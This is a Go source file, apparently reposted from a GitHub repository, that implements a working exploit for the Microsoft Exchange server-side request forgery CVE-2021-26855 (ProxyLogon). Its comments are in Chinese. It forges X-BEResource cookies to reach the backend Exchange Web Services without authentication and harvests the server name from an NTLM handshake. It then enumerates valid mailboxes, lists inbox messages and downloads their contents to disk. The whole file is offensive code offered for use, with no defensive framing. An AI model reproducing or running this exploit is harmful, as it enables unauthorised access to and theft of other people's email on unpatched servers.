CVE-2021-26855/CVE-2021-26855.go at main · jsdryan/CVE-2021-26855
2021-03-10 00:07:48 Author: github.com(查看原文) 阅读量:225 收藏

package main
import (
"crypto/tls"
"flag"
"fmt"
"time"
"io"
"io/ioutil"
"net/http"
//"net/url"
"os"
"strings"
"regexp"
"encoding/base64"
"bufio"
"strconv"
)
//检测漏洞存在脚本
func Verify(targetUrl string) bool {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}
req, _ := http.NewRequest("GET", targetUrl, nil)
req.Header.Add("Cookie","X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;")
resp, _ := client.Do(req)
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body), "NegotiateSecurityContext") {
return true
} else {
return false
}
}
func append16(v []byte, val uint16) []byte {
return append(v, byte(val), byte(val>>8))
}
func append32(v []byte, val uint16) []byte {
return append(v, byte(val), byte(val>>8), byte(val>>16), byte(val>>24))
}
const (
negotiateUnicode = 0x0001 // Text strings are in unicode
negotiateOEM = 0x0002 // Text strings are in OEM
requestTarget = 0x0004 // Server return its auth realm
negotiateSign = 0x0010 // Request signature capability
negotiateSeal = 0x0020 // Request confidentiality
negotiateLMKey = 0x0080 // Generate session key
negotiateNTLM = 0x0200 // NTLM authentication
negotiateLocalCall = 0x4000 // client/server on same machine
negotiateAlwaysSign = 0x8000 // Sign for all security levels
)
//生成ntlm type1
func Negotiate() []byte {
var ret []byte
flags := negotiateAlwaysSign | negotiateNTLM | requestTarget | negotiateOEM
ret = append(ret, "NTLMSSP\x00"...) // protocol
ret = append32(ret, 1) // type
ret = append32(ret, uint16(flags)) // flags
ret = append16(ret, 0) // NT domain name length
ret = append16(ret, 0) // NT domain name max length
ret = append32(ret, 0) // NT domain name offset
ret = append16(ret, 0) // local workstation name length
ret = append16(ret, 0) // local workstation name max length
ret = append32(ret, 0) // local workstation name offset
ret = append16(ret, 0) // unknown name length
ret = append16(ret, 0) // ...
ret = append16(ret, 0x30) // unknown offset
ret = append16(ret, 0) // unknown name length
ret = append16(ret, 0) // ...
ret = append16(ret, 0x30) // unknown offset
return ret
}
//利用ntlm type2 获取有效信息 fqdn
func Ntlminfo(targetUrl string) (fqdn string, domain string) {
//var fqdn string
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}
req, _ := http.NewRequest("GET", targetUrl, nil)
req.Header.Add("Authorization", fmt.Sprintf("NTLM %s", base64.StdEncoding.EncodeToString(Negotiate())))
req.Header.Add("Accept","text/xml")
resp, _ := client.Do(req)
reg1 := regexp.MustCompile(`[^NTLM].+;Negotiate\z`)
reg2 := regexp.MustCompile(`[^\s].+[^;Negotiate]`)
reg3 := regexp.MustCompile(`(\x03\x00.)(.+?)(\x05\x00)`)
reg4 := regexp.MustCompile(`\x03\x00.|\x05|\x00`)
reg5 := regexp.MustCompile(`(\x04\x00.)(.+?)(\x03\x00)`)
reg6 := regexp.MustCompile(`\x04\x00.|\x03|\x00`)
for _, values := range resp.Header {
type2 := reg2.FindString(reg1.FindString(strings.Join(values, ";")))
if type2 != "" {
decodeBytes, _ := base64.StdEncoding.DecodeString(reg2.FindString(type2))
fqdn = reg4.ReplaceAllString(reg3.FindString(string(decodeBytes)), "")
domain = reg6.ReplaceAllString(reg5.FindString(string(decodeBytes)), "")
}
}
return
}
func Postxml(targetUrl string, fqdn string, xmlcontent string) string {
//urlProxy, _ := url.Parse("http://127.0.0.1:8080")
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
// Proxy: http.ProxyURL(urlProxy),
}
client := &http.Client{Transport: tr}
req, _ := http.NewRequest("POST", targetUrl, strings.NewReader(xmlcontent))
req.Header.Add("Cookie", fmt.Sprintf("X-BEResource=%s/EWS/Exchange.asmx?a=~1942062522;", fqdn))
req.Header.Add("Content-Type", "text/xml")
//fmt.Println(req)
resp2, _ := client.Do(req)
//defer resp2.Body.Close()
body2, _ := ioutil.ReadAll(resp2.Body)
return string(body2)
}
func Userenumerate(targetUrl string, fqdn string, xmlcontent string, userfile string, domainneame string, stime int) {
//fmt.Println(userfile)
ufile, err := os.Open(userfile)
if err != nil {
fmt.Println("文件错误")
os.Exit(0)
}
defer ufile.Close()
fmt.Println("正确邮箱地址:\n")
br := bufio.NewReader(ufile)
for {
name, _, c := br.ReadLine()
if c == io.EOF {
fmt.Println("\n完成。")
break
}
if strings.Contains(string(name), "@") {
str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, string(name)))
if strings.Contains(str, string(name)) {
//fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", string(name)))
}else {
fmt.Println(string(name))
}
}else{
address := fmt.Sprintf("%s@%s", string(name), domainneame)
str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, address))
if strings.Contains(str, string(name)) {
//fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", address))
}else {
fmt.Println(address)
}
}
time.Sleep(time.Duration(stime)*time.Second)
}
}
func makefile(fileName string, conntent string) {
f, err := os.Create(fileName)
defer f.Close()
if err != nil {
fmt.Println(err.Error())
} else {
_, _ = f.Write([]byte(conntent))
}
}
func main(){
var maddress string
host := flag.String("h", "", "必填,目标地址或域名")
filepath := flag.String("U", "", "选填,需要枚举的用户列表")
stime := flag.String("t", "1", "选填,请求延迟时间")
desfqnd := flag.String("n", "", "选填,需要指定 FQND 事填写")
list := flag.Bool("l", false, "选填,列出邮件列表")
emailadd := flag.String("u", "administrator", "选填,指定目标")
downl := flag.Bool("d", false, "选填,下载邮件")
flag.Parse()
targetUrl := fmt.Sprintf("https://%s/owa/auth/temp.js", *host)
ewsUrl := fmt.Sprintf("https://%s/ews/exchange.asmx", *host)
postUrl := fmt.Sprintf("https://%s/ecp/temp.js", *host)
sleep_time, _ := strconv.Atoi(*stime)
if *host == "" {
fmt.Println("请输入目标IP地址")
os.Exit(0)
}
fmt.Println("检测漏洞存在中...")
if Verify(targetUrl) == true {
fmt.Println("漏洞存在...继续")
}else{
fmt.Println("漏洞不存在...END")
os.Exit(0)
}
mailnum := `<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>Default</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox">
<t:Mailbox>
<t:EmailAddress>%s</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>`
maillist := `<?xml version='1.0' encoding='utf-8'?>
<soap:Envelope
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
<soap:Body>
<m:FindItem Traversal='Shallow'>
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:ItemShape>
<m:IndexedPageItemView MaxEntriesReturned="5" Offset="0" BasePoint="Beginning" />
<m:ParentFolderIds>
<t:DistinguishedFolderId Id='inbox'>
<t:Mailbox>
<t:EmailAddress>%s</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:ParentFolderIds>
</m:FindItem>
</soap:Body>
</soap:Envelope>`
download := `<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetItem>
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
<t:BodyType>Text</t:BodyType>
</m:ItemShape>
<m:ItemIds>
<t:ItemId Id="%s" ChangeKey="%s" />
</m:ItemIds>
</m:GetItem>
</soap:Body>
</soap:Envelope>`
fqndstr, domainstr := Ntlminfo(ewsUrl)
fmt.Println("目标 FQND 为: ", fqndstr)
if *filepath != "" {
Userenumerate(postUrl, fqndstr, mailnum, *filepath, domainstr, sleep_time)
}
if *desfqnd != "" {
fqndstr = *desfqnd
}
if strings.Contains(*emailadd, "@") {
maddress = *emailadd
}else{
maddress = fmt.Sprintf("%s@%s", *emailadd, domainstr)
}
str := Postxml(postUrl, fqndstr, fmt.Sprintf(mailnum, maddress))
//fmt.Println(str)
if strings.Contains(str, maddress) {
fmt.Println(fmt.Sprintf("邮件地址 %s 不正确,请重新输入", maddress))
}else if strings.Contains(str, "Success") {
reg01 := regexp.MustCompile(`(<t:TotalCount>)(.+)(</t:TotalCount>)`)
reg02 := regexp.MustCompile(`<t:TotalCount>|</t:TotalCount>`)
mnum := reg02.ReplaceAllString(reg01.FindString(str), "")
fmt.Println("用户 ", maddress, " 邮箱中收件箱 Inbox 中邮件数量为: ", mnum)
if *list == true {
if mnum != "0"{
contents := Postxml(postUrl, fqndstr, fmt.Sprintf(maillist, maddress))
reg_id := regexp.MustCompile(`(?:t\:ItemId\sId=")(.+?)(?:")`)
reg_key := regexp.MustCompile(`(?:t\:ItemId\sId=".+?"\sChangeKey=")(.+?)(?:")`)
reg_sub := regexp.MustCompile(`(?:<t:Subject>)(.+?)(?:</t:Subject>)`)
id := reg_id.FindAllStringSubmatch(contents, -1)
key := reg_key.FindAllStringSubmatch(contents, -1)
subject := reg_sub.FindAllStringSubmatch(contents, -1)
for i := 0; i < 5 ; i++{
fmt.Println("---------")
fmt.Println("ID :", i+1, "\nItemId: ", id[i][1], "\nkey: ", key[i][1], "\n邮件标题:", subject[i][1])
fmt.Println()
}
if *downl == true {
for i := 0; i < 5 ; i++{
fmt.Println("正在下载第 ", i," 份邮件")
contentd := Postxml(postUrl, fqndstr, fmt.Sprintf(download, id[i][1], key[i][1]))
makefile(fmt.Sprintf("./ID-%v.xml", i+1), contentd)
}
fmt.Println("下载完成")
}
}else{
fmt.Println("目标邮箱无邮件!")
}
}
}else{
fmt.Println("默认 FQND 无效请更换其他服务器")
}
}

文章来源: https://github.com/jsdryan/CVE-2021-26855/blob/main/CVE-2021-26855.go
如有侵权请联系:admin#unsafe.sh